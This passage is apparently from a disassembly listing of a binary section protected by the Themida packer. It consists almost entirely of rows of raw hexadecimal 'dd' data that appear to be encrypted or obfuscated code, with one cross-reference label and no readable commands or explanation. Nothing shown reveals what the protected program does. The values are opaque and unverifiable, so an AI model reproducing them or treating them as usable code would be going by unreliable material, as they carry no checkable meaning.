0B826FFA3h, 57854F13h, 7C6CEF4Eh dd 47D16D62h, 1AC32FFAh, 0B991DA6h, 4C937F2h, 0A35E5198h dd 31B626FFh, 0BB062950h, 0C0796D42h, 911E9B9Ah, 6164E4CDh dd 7AA89D39h, 75C6D8h, 0C0F40000h, 397D3DD2h, 0B591D887h dd 971B6811h, 0F176663Fh, 4ED4951Eh, 0B214269Eh, 11B591ADh dd 1F43C015h, 639EA735h, 684CD075h, 91EDF2D4h, 0BC2B11B5h dd 0D559AA09h, 0A5F98E7Ch, 8472DDCCh, 1D9A9BCFh, 0DDE06049h dd 7AA219BDh, 6B42D8h, 0C0700000h, 0AC7D3DD2h, 26D78B3Ch dd 0B021F8D0h, 0D6764D11h, 0E4D881CFh, 0B2BD135Bh, 0E11B591h dd 2A9871C5h, 0C0D90765h, 616F33CCh, 11B59371h, 0E0864BB9h dd 0B5E99809h, 450B1292h, 0B5917C63h, 32BFC411h, 0A2F20B45h dd 91A7486Eh, 776511B5h, 0C66D8CD2h, 0CA7568BDh, 0A7116594h dd 0D87AA83Fh, 818h, 9505D400h, 0B8FAEF4h, 48115539h, 0DA85B758h dd 6611B591h, 5040991Dh, 0BC2EFFBFh, 54DA5B0Fh, 9732A57Ch dd 495C94D3h, 0C9882E1Bh, 0E2461244h, 8445B56Ch, 9A734A18h dd 5C1E9B28h, 0F0E5307Ah, 296D0Fh, 89A8FE91h, 0FB05BCA3h dd 7BFF0417h, 7AD397DCh, 9960FC87h, 0AD39B26h, 0DFB6EC97h dd 5DD15EEFh, 80703905h, 6C654BCFh, 0B617FB07h, 8E18546h dd 5AB1F59Ah, 7920B3CAh, 0DF8ED6EFh, 7FD65CF1h, 0D59A3C8Ch dd 6D17FB05h, 38019B18h, 8D643AC5h, 683B6F1Ah, 970AC5D8h dd 0B03670ECh, 0EBDEC01Ch, 135h, 0D3625BD9h, 0B4D5259Bh dd 0E1880FF0h, 7FD85EF3h, 0AEDA853Bh, 0A51817FAh, 0AD2ABB1Ah dd 12AD20F9h, 91032A8Ah, 0E8D7AEF4h, 73F00125h, 8B326FFh dd 7D08FB52h, 0B3CA5A29h, 0B0FA8578h, 0C44AF7E9h, 0C586604Ah dd 31D1DEBFh, 9D000000h, 0A2786759h, 0BBC817FAh, 6E5B3537h dd 8E2187D7h, 3211B591h, 0CD3FDA1h, 8411B591h, 6CA5F90Ch dd 8C2385D5h, 3411B591h, 0BA133DAFh, 7D000000h, 9BD3625Bh dd 0F09AA925h, 2251FC0Fh, 3929D88Ch, 0DB288F03h, 0BB2E87h dd 9E2F9F4Eh, 2BA529C8h, 0A50EBDEh, 0FAE19044h, 0A4635417h dd 17B627FEh, 5D60F053h, 169330A2h, 71ACB153h, 559C37Eh dd 2B64A528h, 0F67C7E76h, 0FEB00184h, 7B558553h, 954A72A8h dd 0AF136722h, 3FC39E09h, 18892216h, 0DFB6EC69h, 353A9CECh dd 8D1E47DBh, 0CF903678h, 731E47DBh, 68C165E2h, 3A93D778h dd 8B6238CBh, 6376B1Ah, 0D14459EBh, 355B62E2h, 0DB10DFF1h dd 23B01E47h, 9928EDAFh, 3828FFD1h, 0D6731C8Ch, 0A9C1530Bh dd 0D75BA4h, 183569F3h, 8D7D92CFh, 2E97A6FCh, 8D0162A7h dd 0F7625BBFh, 79880356h, 50BF574Fh, 4B7CB9B1h, 970941CEh dd 0FFAD800h, 966F3340h, 35049823h, 1F6307C2h, 0EBA03532h dd 0BF337641h, 0C090D491h, 2965E2h, 89A8FE91h, 437E8705h dd 40F9ED50h, 0E9E1B1Ah, 0DEF0C83Bh, 4CCA9211h, 2837E9B1h dd 984CCA92h, 941CE4Bh, 8DD16E60h, 0BA43B76Ch, 89C155E4h dd 580EC130h, 6E1E0B6Fh, 4CA06208h, 75881A90h, 20BC47BAh dd 135BE6D9h, 8076CC36h, 47B5E417h, 0D9B10582h, 0CFFh dd 6692BF00h, 1119A19h, 6F5D6FE3h, 3CD3C071h, 611C8F66h dd 0D473643Dh, 38C5378Eh, 681D8B62h, 0D86D5B32h, 9BC2B82h dd 7B0CFC55h, 0A15A4E27h, 895076FDh, 405E0h, 0E8830000h dd 24048704h, 5224248Bh, 0C281E289h, 4, 8704EA83h, 895C2414h dd 89532414h, 4C381E3h, 83000000h, 1C8704EBh, 3C895C24h dd 74456824h, 148B064Ch, 4C48124h, 54000000h, 83243C8Bh dd 895004C4h, 8BA52D0h, 1000000h, 5A0289FAh, 243C8B58h dd 81E68956h, 4C6h, 4C68300h, 5C243487h, 5124148Bh, 0C181E189h dd 4, 4C181h, 0C870000h, 2AE95C24h, 1AFFF904h, 0B8851848h dd 64C7927h, 0E0FFC503h, 6B845E1Eh, 5211B96Ah, 75553007h dd 40FDE40Ah, 67666C7Bh, 53CB9D57h, 39F88A54h, 763B46F3h dd 5B7CAA98h, 66C07978h, 4C41B918h, 44601495h, 77AB8B53h dd 60FC5B09h, 174A2296h, 6E39447Fh, 4C3E5F09h, 4709AE1Ah dd 2DE67037h, 37D85729h, 7A7F8D8Dh, 0BD89064Ch, 6450839h dd 2A018D89h, 958B0645h, 64514DDh, 3D585C7h, 64DC0645h dd 6A0000h, 3E857h, 5F200000h, 7C895FC3h, 44810424h, 1C0424h dd 57470000h, 5BEAD5C3h, 8B9E9E3Bh, 8501D4BDh, 64506DDh dd 95D85C7h, 645h, 95090000h, 645306Dh, 495B5FFh, 0B70F0645h dd 1195FFF7h, 6A06452Ah, 2195FF00h, 8B064531h, 0E63FEBC0h dd 0B8759B85h, 378092A6h, 96B6AA8Fh, 0C6507D1Eh, 887941F6h dd 41ECB229h, 84922217h, 46CE7579h, 1A98625h, 5B2AFB81h dd 33A3A67Bh, 6893D772h, 0D84C6147h, 91A609C3h, 5F79BE08h dd 4EBA981h, 3D5591C9h, 47CE9h, 0EAA10E00h, 8A33A772h dd 36D7C712h, 0D17463B6h, 7B10FE4Bh, 0BD576FE1h, 0D722BA4Fh dd 75C458E5h, 9267C584h, 81F8641Fh, 0BB8A719h, 0FF081802h dd 32CDC0D9h, 6659006Ch, 5BB87DBh, 11B5915Ah, 9A109DE6h dd 2CB05543h, 0B5FEADDh, 0CA843FB2h, 5648B523h, 0C744F5A9h dd 4E421B73h, 0F56BF1B5h, 7C235F0h, 0A46354A5h, 4100F138h dd 0B552441Dh, 677EF6F1h, 108C3BACh, 772BD6C9h, 0B5937969h dd 465FE911h, 47D4331Eh, 7AF17A8Ah, 0BF2482F4h, 477FD87Ah dd 33000000h, 0CAF61616h, 991DF653h, 32CDC0ABh, 936F626Ch dd 471111B5h, 0A88A1C3Eh, 0AD5D87Ah, 99000000h, 4C079CACh dd 7DF11F23h, 33CCC04Fh, 9922966Fh, 0CA7D6CC5h, 15284E94h dd 9605E6DAh, 18EAFF3h, 0A05B4E9Bh, 0D2C0063Ch, 5405693Dh dd 26FFA364h, 0A05115B6h, 8276AF23h, 36C6A5F9h, 4106F42Fh dd 0E09B0EDBh, 52F3E3BAh, 223B250Ch, 7AA25E78h, 6F39D8h dd 0C08B0000h, 90693DD2h, 623B6F20h, 368FD370h, 8D5E04C7h dd 41F76A73h, 0E1CF0A13h, 7B69B02Ch, 0CA3990D6h, 1A8A6307h dd 0D7C93569h, 11B59108h, 8F62BB8h, 28A81F43h, 53CD8215h dd 0A286104Ah, 55D1D87Ah, 0E3000000h, 693DD2C0h, 2E601F90h dd 7AF08D7Fh, 38E1C922h, 10B238C7h, 2FE4D20Dh, 3A5F9BDh dd 11B5915Ch, 574A9FE4h, 0F347F6ACh, 128455F1h, 0B428E175h dd 5909570Bh, 911B593h, 38C738E1h, 4D0D10B2h, 0D87AA859h dd 0BD4CA0Eh, 0B711B585h, 1E8A82Eh, 0DA000000h, 6B3FD0C0h dd 3E641F92h, 0FB364F89h, 8CE27A0Bh, 0D0F6B809h, 0FF0A1CAh dd 0EA43E76Ch, 9D04CF7h, 29B7EB96h, 17FAC338h, 7F6F3E00h dd 159998CEh, 40B36E77h, 0C1895648h, 0FCD217FAh, 17FAC1F3h dd 569F064Fh, 0E6D881C9h, 0EE3BD559h, 230E40FBh, 0E19C424Ah dd 75FD3B2h, 0DA803BAEh, 2BE6FF09h, 0D59F0DB8h, 0DEC070D1h dd 1388Ah, 84553800h, 0B2E07611h, 0CEE0AA1Bh, 0FF0B4BCh dd 28D7C891h, 0E84FC372h, 7B6EC79Bh, 0C4185CC0h, 0C8E4A515h dd 17FAAE27h, 0DC44A9Bh, 0E2BBEF9Ah, 0C61A54EFh, 40E6A717h dd 0AED49BB1h, 0E76C17FAh, 0D8683B93h, 0EC970AC5h, 0C5B03670h dd 59EBDEBFh, 0A7000000h, 44F6908Ah, 0D258479Ch, 0D76E5B90h dd 918E2187h, 0F93211B5h, 466F5805h, 0C9A2F761h, 0BEE7164Ch dd 132CBD60h, 3E64E111h, 0B5F8CF90h, 0BCC14311h, 717E5094h dd 0D111B5F8h, 454C0E84h, 5D97B2FCh, 40FDEF5Dh, 36829E7h dd 52EDC38Fh, 0EE11B670h, 8ECD0765h, 37000000h, 9BD3625Bh dd 0F09AA925h, 98CE170Fh, 0A933CEC1h, 8CD26D60h, 0FA9912C2h dd 0B1B45417h, 30A08376h, 0F52ACB9Fh, 11204603h, 635A0894h dd 0E94498D2h, 158B0A6Ch, 17FB014Ah, 5EC46DF6h, 0AC5F4E37h dd 9985AB2Fh, 0CC163D65h, 481EAB1Dh, 199225A9h, 0B140E6ABh dd 24976E34h, 596D7254h, 80D51E47h, 14865F03h, 6C5A3377h dd 1B5983A7h, 2CA49F02h, 0F1404519h, 9C4365B9h, 241E4759h dd 33771687h, 4D318502h, 89E0436Bh, 0F468FD1Ch, 0D3625BCEh dd 17F9259Bh, 3E470FF8h, 8E3BAD7Ch, 6F95008h, 0D9FF337Bh dd 18020B16h, 3BD559AAh, 1A40FBEEh, 0FBDE15B4h, 374EACE0h dd 0B32609FCh, 0C8118B08h, 0C18272D5h, 4B1F9C9Dh, 1A4003F2h dd 42122BADh, 0E1DFEFE7h, 0F42ACC0Dh, 531BCBEBh, 0C9810E57h dd 1BCB08D7h, 0A72BB853h, 0AB0D7B6Eh, 531BCBC4h, 0F26AF77Ch dd 5509B427h, 1203h, 0F6F4D00h, 8DD16A5Eh, 0E38C226Ch dd 5F11B591h, 0C0A28016h, 8F663CD3h, 643D611Ch, 378ED473h dd 8B6238C5h, 5B32681Dh, 2B82D86Dh, 0FC5509BCh, 4E277B0Ch dd 76FDA15Ah, 4EC81h, 24890000h, 4BF5724h, 1000000h, 5F04247Ch dd 5E08950h, 4, 8704E883h, 895C2404h, 0E68241Ch, 8900007Fh dd 0BA68242Ch, 8900004Ch, 0CEBD242Ch, 89064C7Ah, 8B545DEBh dd 0C483242Ch, 8B95104h, 81000000h, 0B232DFC1h, 81E90159h dd 0B232DFE9h, 59198959h, 5D2434FFh, 8B04C483h, 8951241Ch dd 4C181E1h, 83000000h, 0C8704C1h, 9EE95C24h, 5BFFF8FEh dd 8D9A6699h, 8BDA073Ah, 0B7743699h, 7EC1B820h, 0C503064Ch dd 0F351E0FFh, 0F67A3131h, 0ADCA0019h, 0F1A60F7Fh, 375C198Fh dd 0A06D4AAFh, 701071C8h, 660F62C5h, 3A3C16DFh, 0FD902817h dd 1EF75B21h, 6BD546C7h, 0C951347Ah, 0B83413F0h, 4411591Ah dd 0B07C45ADh, 381532E4h, 461E581Eh, 71A27E04h, 7DA26238h dd 21FE33BFh, 0B9CA28A1h, 95C2171Fh, 3609181Ch, 10EB1EBBh dd 4 dup(0) dd 6AC08Bh, 3E857h, 5F200000h, 7C895FC3h, 44810424h, 150424h dd 57470000h, 0FE236C3h, 88h, 0A1BD8300h, 64530h, 0BD830975h dd 64504BDh, 50197400h, 0B8C08B53h, 42Dh, 12FD8589h, 9D8D0645h dd 647B56Ch, 585BD3FFh, 4BDBD83h, 74000645h, 0B8535017h dd 42Dh, 12FD8589h, 9D8D0645h, 647B25Bh, 585BD3FFh, 25C5B503h dd 6A0645h, 3E852h, 5A200000h, 54895AC3h, 44810424h, 1A0424h dd 52420000h, 35038AC3h, 8BB0FBB7h, 1C69958Bh, 0C08B0645h dd 0FD6B70Fh, 588h, 0D4C0BA00h, 8D8B39DFh, 6452B45h, 0E856006Ah dd 3, 5EC35E20h, 4247489h, 4244481h, 18h, 82C35646h, 5B3E1B56h dd 14D950Bh, 0F9830645h, 6F840F00h, 6A000000h, 3E85300h dd 20000000h, 895BC35Bh, 8104245Ch, 15042444h, 43000000h dd 0DA8BC353h, 0DE9h, 0F0A01000h, 14257CC1h, 1CE6F556h dd 0BD89F805h, 6452489h, 2C3D8B64h, 66000000h, 0B5BCFBAh dd 27840FFFh, 0F9000000h, 880F3F8Bh, 11h, 0CE9h, 80AB6800h dd 589B2216h, 2698E179h, 31C0320Ch, 452FC5B5h, 66AAF306h dd 4935F08Bh, 81535041h, 0D09722E2h, 0CDB58B04h, 0C6064524h dd 45182985h, 8D294706h, 6452E95h, 82528968h, 9CBA66FEh dd 243481D4h, 2254DAA5h, 32DB52Bh, 0B5FF0645h, 64509D5h dd 11B1B58Bh, 858D0645h, 64878B6h, 8B66D0FFh, 918589F7h dd 0F064514h, 18Eh, 85C6F800h, 6451829h, 0AABA6653h, 930A684Eh dd 0DEBEE7ABh, 812B7097h, 0F9F62434h, 0B5896F33h, 64522E9h dd 9D5B5FFh, 6A0645h, 3E856h, 5E200000h, 74895EC3h, 44810424h dd 1D0424h, 56460000h, 0B77CEBC3h, 0B8D00638h, 8DEC2D7Bh dd 4878B685h, 0FD0FF06h, 858DF1BFh, 648408Fh, 0E851006Ah dd 3, 59C35920h, 4244C89h, 4244481h, 1Ch, 60C35141h, 288822A5h dd 9B71060Bh, 25D58501h, 0B5330645h, 6451085h, 328D8589h dd 9FB20645h, 0FF6A206Ah, 328D95FFh, 49350645h, 0C7535041h dd 45016985h, 106h, 1585C700h, 6450Dh, 6A000000h, 3E85100h dd 20000000h, 8959C359h, 8104244Ch, 1D042444h, 41000000h dd 7FCAC351h, 0A8C02CDDh, 553DC445h, 0E9D3B70Fh, 5, 92F64938h dd 15BD8330h, 64507h, 0AA840Fh, 958B0000h, 64511D1h, 1049858Bh dd 6A0645h, 3E855h, 5D200000h, 6C895DC3h, 44810424h, 1B0424h dd 55450000h, 548529C3h, 320148E9h, 85D28146h, 31488D0Eh dd 4505859Dh, 0A36406h, 6A000000h, 3E85200h, 20000000h dd 895AC35Ah, 81042454h, 1A042444h, 42000000h, 8F17C352h dd 7662828Ah, 14E937h, 6FF90000h, 88826828h, 6E2EEE88h dd 928774C6h, 1AB67F7h, 9D098833h, 64514E1h, 575858Bh dd 6A0645h, 3E857h, 5F200000h, 7C895FC3h, 44810424h, 160424h dd 57470000h, 98E4D6C3h, 0D58AE08Bh, 909BD83h, 0F000645h dd 3BF85h, 0BBD68000h, 1D098529h, 85C60645h, 6451829h dd 2D8D8956h, 68064515h, 0C0245DAAh, 7E950h, 7BAA0000h dd 0B011A037h, 34815E41h, 0E16D7524h, 50006A69h, 3E8h dd 0C3582000h, 24448958h, 24448104h, 1904h, 0C3504000h dd 0E38D8DBFh, 0BBBA3139h, 0E94F96FBh, 14h, 6FE9D5DFh dd 0EB614CD8h, 0D357D0h, 7A594E5Fh, 0D3C22402h, 9D5B5FFh dd 85010645h, 6450765h, 78B6858Dh, 0B5890648h, 6452365h dd 6AD0FFh, 3E856h, 5E200000h, 74895EC3h, 44810424h, 160424h dd 56460000h, 0B2705DC3h, 68F0Fh, 0B5310000h, 64518F9h dd 5001B290h, 5AF38B56h, 12E990h, 6E550000h, 65B31643h dd 0E5D0494Ah, 3802067Ah, 0A43070ABh, 20158D8Dh, 6A0645h dd 3E855h, 5D200000h, 6C895DC3h, 44810424h, 140424h, 55450000h dd 6650C0C3h, 0C89F78Bh, 51958924h, 66064505h, 46AD18Bh dd 0E852006Ah, 3, 5AC35A20h, 4245489h, 4244481h, 14h, 0A8C35242h dd 4E8h, 100000h, 0BE900h, 396B0000h, 25243BE9h, 0BA9A350Ch dd 0F58A505Ch, 424448Bh, 48B0Fh, 0BE660000h, 8B81E4h, 0A800Fh dd 850F0000h, 4, 0D0FFBE66h, 4244489h, 6A58D08Bh, 3E85200h dd 20000000h, 895AC35Ah, 81042454h, 15042444h, 42000000h dd 0B017C352h, 2209B5FFh, 0BD890645h, 645124Dh, 958BD0FFh dd 6450D75h, 2209BD8Bh, 3FC0645h, 98BE3C7Fh, 8110ABF9h dd 0F8C7h, 53006A00h, 3E8h, 0C35B2000h, 245C895Bh, 24448104h dd 1C04h, 0C3534300h, 0F0011691h, 864A0078h, 5E880h, 374B0000h dd 662D6C70h, 5ACE2BBEh, 202447C7h, 0F600000h, 0BD83D3B7h dd 64C7FB5h, 0EE840F00h, 81000000h, 58781CCAh, 28C7833Dh dd 8BF28B66h, 450AC5B5h, 2E07C706h, 8964696Ah, 450D818Dh dd 447C706h, 617461h, 7FBD858Bh, 6A064Ch, 3E852h, 5A200000h dd 54895AC3h, 44810424h, 160424h, 52420000h, 0B5F995C3h dd 810C4789h, 7BABBECEh, 0C1858B4Eh, 66064C7Fh, 9FB1E281h dd 66084789h, 832659BEh, 8F0F28C7h, 6, 2C0BCA81h, 7C71909h dd 6E6F632Eh, 8E9h, 0E67B9B00h, 9C41238Ah, 0BFEA80B9h dd 660447C7h, 0BE006769h, 3F7011CAh, 0B0DBD09h, 858B0645h dd 64C7FB9h, 91F8D681h, 4789004Ah, 7E90Ch, 2F710000h, 0B1F4579Bh dd 0B5858BE2h, 8B064C7Fh, 4508A195h, 8478906h, 0E852006Ah dd 3, 5AC35A20h, 4245489h, 4244481h, 17h, 0F1C35242h, 8B5708F0h dd 4516FDB5h, 0F98B6006h, 66605861h, 8B61C38Bh, 45196D95h dd 6D8D8D06h, 0E906452Ch, 0Fh, 37631970h, 0B3E9E178h, 28E8A526h dd 50D5E9EBh, 18BA6656h, 0C895E5Eh, 51006A24h, 3E8h, 0C3592000h dd 244C8959h, 24448104h, 1804h, 0C3514100h, 38AC60Ch, 75B58935h dd 0FF064508h, 452015B5h, 8E806h, 0DAC30000h, 0A58F6DFh dd 8166D356h, 5E7D87C2h, 4E8h, 100000h, 8E0F5000h, 2, 448BF18Bh dd 0BA660424h, 8B55D5h, 13E8h, 0F4917A00h, 0A7853A9Bh dd 6D9920D1h, 8610AE6Bh, 38FCC5AEh, 11E8h, 260EBB00h, 0F81297AAh dd 65139864h, 0BCF6CBEAh, 74BA1EF8h, 5E5E41E2h, 2444895Ah dd 0D0BE6604h, 9D29586Fh, 6451091h, 2209B5FFh, 0BF0F0645h dd 0FCD0FFD1h, 0B8h, 56006A00h, 3E8h, 0C35E2000h, 2474895Eh dd 24448104h, 1804h, 0C3564600h, 33970127h, 0C00BF546h dd 1B840Fh, 57510000h, 0B5FF5A5Ah, 6452C05h, 0B68BC681h dd 8B663DE5h, 1195FFF3h, 0B206452Ah, 6AC08BCCh, 3E85600h dd 20000000h, 895EC35Eh, 81042474h, 1B042444h, 46000000h dd 5DE4C356h, 7C37F762h, 0BE94DC3h, 0A0000000h, 461E11E6h dd 39688575h, 0BD83A838h, 64530A1h, 83097500h, 4504BDBDh dd 19740006h, 0C08B5350h, 42DB8h, 41858900h, 8D06452Ch dd 47B5D39Dh, 5BD3FF06h, 0BDBD8358h, 64504h, 53501774h dd 42DB8h, 41858900h, 8D06452Ch, 47B2749Dh, 5BD3FF06h dd 55BD0158h, 8B06450Dh, 45086595h, 8BC08B06h, 45306DB5h dd 0EBC08B06h, 3FF29304h, 568E90Ah dd 9A070000h, 2CA069F3h, 0D0C00993h, 6D5CAD3Fh, 9F742DAh dd 5E66D844h, 198348B6h, 0BB21DED0h, 5ECE7D6Eh, 0FF6D188Bh dd 0B1BE109Ah, 11180218h, 0CDC0C0C0h, 27956C32h, 0BC2FFA62h dd 11845D01h, 84752476h, 401971C5h, 0A7FBB34Ch, 0B5915E01h dd 0C8970911h, 7811B591h, 0B73B48EBh, 0AD9606DFh, 26D78B3Eh dd 435085D9h, 67B83DE6h, 60198D52h, 3E47E13Ah, 0DEE775DBh dd 9715B023h, 0F59606D7h, 0D30A80B1h, 0E5B923E2h, 7A9DBD48h dd 0B67C9B44h, 75DE2711h, 4267E28Dh, 4EEFB350h, 0E1A011C8h dd 720D80A9h, 0D7B921D1h, 0DC521378h, 2ABB2D84h, 5F61756Bh dd 9AD45150h, 897CE1D3h, 0C89A8FEh, 5F99CE86h, 331A8B46h dd 909427C2h, 0BB5EB94Ah, 4B2BB13Eh, 1E942FA2h, 0B00DD4C7h dd 5DF31E9Eh, 440A50DDh, 11B6678Eh, 355B62FEh, 8FD37464h dd 38AEE86Eh, 63D87B7Ch, 50h, 32CDC051h, 86752478h, 0BE9E9FC3h dd 11B591B1h, 164EC411h, 0B5939948h, 687DCB11h, 7AA8B432h dd 1EFD8h, 55DD0000h, 53809DF8h, 64EA5118h, 6B4D39ADh dd 11B5B784h, 742AB73Ch, 0CA90299Dh, 9DC18473h, 0E11C21B7h dd 1C854EDh, 4B69F38Eh, 693DD2C0h, 0A1665405h, 79FD8A7Ch dd 0DB932CA0h, 826D4387h, 3E11B591h, 91D887B5h, 0A51611B5h dd 0A036BFE6h, 0F4091BE8h, 0A606CB39h, 81A56053h, 5317B828h dd 0B3E7FE6Ah, 0D87AA223h, 877Ch, 0D2C04E00h, 2090693Dh dd 70623B6Fh, 0C2368FD3h, 0A7196539h, 11B591B8h, 755FB08h dd 0A7359BFEh, 0F475639Eh, 5BCEE60Ah, 0AE5B4D53h, 0F138A421h dd 0D4184E03h, 0C6313E90h, 449111B5h, 0E5A817CEh, 0D5E87841h dd 7AD71185h, 5A4AD8h, 0C2060000h, 0B5BD03ECh, 4B04BD11h dd 4671AECAh, 332D96DFh, 0F7B99964h, 0C055971Bh, 5693DD2h dd 9200EFC1h, 9E4211B5h, 0D5CB728Bh, 0E175FE25h, 5208B728h dd 1BD6EF79h, 5E8418ADh, 6F33CCC0h, 0B5937161h, 3E471111h dd 5FC83B16h, 9F3B558Eh, 0B4495D1Bh, 112D87Ah, 0A0000000h dd 6B3FD0C0h, 0A7645607h, 912E3197h, 419211B5h, 0E6A114CDh dd 0B8CD0740h, 34CDC1E8h, 924BCF6Eh, 0BBFB6122h, 0E64F04F2h dd 0E140E98Ch, 0A5179B21h, 89B4F560h, 0EB71096Ah, 8B7D2C6Eh dd 0A9D29D33h, 0E56E11B5h, 0D8FEC298h, 11B5A917h, 9DDD5AABh dd 0B5A9343Bh, 0F3478C11h, 0BA01298Fh, 2EB70FF0h, 932EA178h dd 6ACDC009h, 0C1AE0076h, 117FADAh, 0A0EA77F4h, 227809F9h dd 99C79F13h, 17FADCC8h, 276D7090h, 322CDE0Ah, 19544FBh dd 0B22AD5C8h, 95C97467h, 683EC93Ch, 3E641D91h, 93D77667h dd 0BA1D2030h, 0DC8DD6Fh, 337DEF9Ah, 0DEC063B3h, 131ECh dd 625BDE00h, 0D5259BD3h, 630FF0B4h, 2F54C12h, 78663747h dd 78C15FD3h, 0CDA4FA85h, 0A87B2FDAh, 574A8598h, 9E4304F4h dd 2BCA902Bh, 76A8ECAEh, 17FAAE69h, 88068CD9h, 0BFC5C8DEh dd 655B9FDEh, 17FAA27Ah, 7468BDC6h, 106697CBh, 3AA0h, 4EBD6C00h dd 5B3537BBh, 2187D76Eh, 11B5918Eh, 0D3FDA132h, 11B5910Ch dd 0A5F90C84h, 2385D56Ch, 11B5918Ch, 42EFAF34h, 2DE8B634h dd 1DB30779h, 631C9059h, 0A8C9EFh, 5B0B0000h, 259BD362h dd 0FF09AA9h, 488CCE17h, 0FA988956h, 26AC3917h, 675B026Eh dd 2DE7E7FAh, 0BC3976AFh, 51ECDF36h, 0D48B7ECBh, 0F947A691h dd 4752F31Bh, 264A3D2Dh, 0DD83A724h, 17FAEC07h, 6BA6BF49h dd 115FCD78h, 537505B4h, 163D7642h, 42169FAh, 0F43FEBD9h dd 3F60BA78h, 353E9730h, 0EF461E94h, 852B65FCh, 6B2F9921h dd 9FDACEEh, 64532A70h, 0FF7CFDA1h, 2CA4237Bh, 0ACDE4B19h dd 5AEDDC19h, 0DCFE3F9h, 43F2CB89h, 1DB3F70Bh, 1E474A52h dd 0CF1165EEh, 1C89D3D6h, 195D1D66h, 93D1B8A7h, 77FB0824h dd 625BFBD9h, 0EF6C198Bh, 1B1C09AFh, 0BA00FF8h, 376BE89Dh dd 0BB1D6B5Eh, 180219B4h, 0E27AC70Ch, 4519A417h, 0D9A711Bh dd 0B841B50Ch, 0B09D0BE2h, 5C028F40h, 0FA5D60F6h, 0B573DE56h dd 19A41730h, 0BE13B445h, 0C9E143Fh, 68CB3EF9h, 6697CB74h dd 43B68319h, 0B39EE2B8h, 0CBC5F913h, 0F851A51Fh, 49204609h dd 1FF6AC55h, 0B35645B0h, 5DD77036h, 0B8FED548h, 0A71900F1h dd 8B199D1Ah, 0E144B772h, 1E8E53EEh, 0BB38396Dh, 5AE5D821h dd 195204h, 55BC0000h, 8B343411h, 2E8D46E4h, 0B594610Eh dd 902D9F11h, 7B882BCAh, 0C013B1F7h, 8F663CD3h, 643D611Ch dd 378ED473h, 8B6238C5h, 5B32681Dh, 2B82D86Dh, 0FC5509BCh dd 4E277B0Ch, 76FDA15Ah, 4EC81h, 0C890000h, 81E18924h dd 4C1h, 4E98300h, 5C240C87h, 68BC68h, 24348900h, 1D3668h dd 24148900h, 72F8B850h, 0E8C10A96h, 96254003h, 5570A636h dd 0DD324BBDh, 7BED8107h, 45414E04h, 349CC581h, 0E801AD9Bh dd 0EFAA355Dh, 0C6897260h, 6FE16858h, 24890000h, 24048324h dd 0EC835A04h, 24048904h, 4289F089h, 34FF5808h, 0C4835A24h dd 2434FF04h, 4C4835Eh, 0F8F0ACE9h, 0ADB896FFh, 3064C8Ch dd 14E0FFC5h, 953842FBh, 376FDF60h, 0A5B0DEFh, 0B70D074h dd 186DB41Ch, 0EE48B462h, 0BE0A356Fh, 873AD8FDh, 0CC5E2E34h dd 506749A2h, 5F16DC4Dh, 1E12A076h, 0C44498E8h, 1C430F17h dd 632DAC19h, 8820DC6Eh, 6362730Ah, 0D44CE2B2h, 69699756h dd 3E6DF35Ch, 994D7AEAh, 0A353DBAAh, 4C2743C7h, 42211C0Eh dd 1D34FCDFh, 0C778DCA2h, 0CA3625B7h, 61197EE4h, 79440436h dd 684638C5h, 8D68B56Ch, 4C8E6A8Dh, 0D88B5106h, 18D895Fh dd 6A06452Ah, 3E85000h, 20000000h, 8958C358h, 81042444h dd 1D042444h, 40000000h, 9526C350h, 5A887451h, 0F22B6887h dd 85C7C68Ah, 64503D5h, 609Ch, 0E853006Ah, 3, 5BC35B20h dd 4245C89h, 4244481h, 1Dh, 56C35343h, 595D8598h, 4CC1E0AFh dd 918589B8h, 0C7064505h, 45095D85h, 6, 0C18D2900h, 0FF064515h dd 451281B5h, 0DDF38006h, 2A1195FFh, 6A0645h, 3E856h, 5E200000h dd 74895EC3h, 44810424h, 1C0424h db 0 byte_5B6DC9 db 0, 46h, 56h ; DATA XREF: Themida_:0053E504o dd 0D1AEDAC3h, 17BB43E9h, 6A74ECh, 312195FFh, 0C08B0645h dd 0D95F49EBh, 0F17428EBh, 7CB1064Bh, 0E8CA5CB5h, 0C3DBE3E7h dd 0C9C66D62h, 20D09E75h, 206EA06Eh, 87E5475Ch, 0C7A55F7Dh dd 0A1622F02h, 6287048Ah, 234E89C9h, 175FA65h, 9F403BD5h dd 0F947B0E7h, 0C2565B97h, 0C79C471Dh, 0E8815893h, 11h dd 60E45EA6h, 0A0F657DDh, 0B464C426h, 0D5459B75h, 45858967h dd 5B06451Ch, 0E18D8960h, 0F06450Ah, 68Ch, 75BD8B00h, 61064521h dd 61FEC381h, 840F0000h, 6, 0D2DB58Bh, 680645h, 0F8000000h dd 128C0F5Fh, 53000000h, 0AE8h, 82192100h, 5F741E0Fh, 59E3F012h dd 3B148B59h, 4CC0C281h, 0C8B92F77h, 810ADC67h, 55E27C2h dd 0D8816651h, 0C2818041h, 30ED7B35h, 1B8D0Fh, 0FE80000h dd 77000000h, 0EDF8014Eh, 0AC70F745h, 1E462994h, 800F5BEDh dd 0 dd 3B148958h, 0B015BE66h, 833D62B8h, 46EF811Bh, 8B7EF051h dd 45064D85h, 42C78106h, 0B97EF051h, 4D925007h, 9ED0FF81h dd 850FFFFFh, 0FFFFFF91h, 3021B501h, 0C08B0645h, 176h dup(0) dd 55006A00h, 3E8h, 0C35D2000h, 246C895Dh, 24448104h, 1504h dd 0C3554500h, 6E9B2DCh, 0DF000000h, 0F6B1A017h, 8B66600Ah dd 6136B7F1h, 0E853006Ah, 3, 5BC35B20h, 4245C89h, 4244481h dd 17h, 36C35343h, 606BBEEAh, 61D98B60h, 0B8D0Fh, 6E90000h dd 0ED000000h, 0B39E16A4h, 6A9D61EDh, 3E85700h, 20000000h dd 895FC35Fh, 8104247Ch, 15042444h, 47000000h, 7894C357h dd 0AE860h, 0FE90000h, 0A1959FFh, 4267785Dh, 58DF8B66h dd 62CA8166h, 6A616156h, 3E85700h, 20000000h, 895FC35Fh dd 8104247Ch, 14042444h, 47000000h, 0F9C8C357h, 4401FC5Dh dd 6A0824h, 3E850h, 58200000h, 448958C3h, 44810424h, 180424h dd 50400000h, 0D90B31C3h, 6A589C8Fh, 3E85300h, 20000000h dd 895BC35Bh, 8104245Ch, 17042444h, 43000000h, 0F036C353h dd 10E91E87h, 0BF000000h, 0CA10221Dh, 7C48DE44h, 0DB12A062h dd 0F658070h, 0A86h, 5E900h, 95F20000h, 9DB5EF45h, 1850FC3h dd 0F5000000h, 53006AFCh, 3E8h, 0C35B2000h, 245C895Bh dd 24448104h, 1B04h, 0C3534300h, 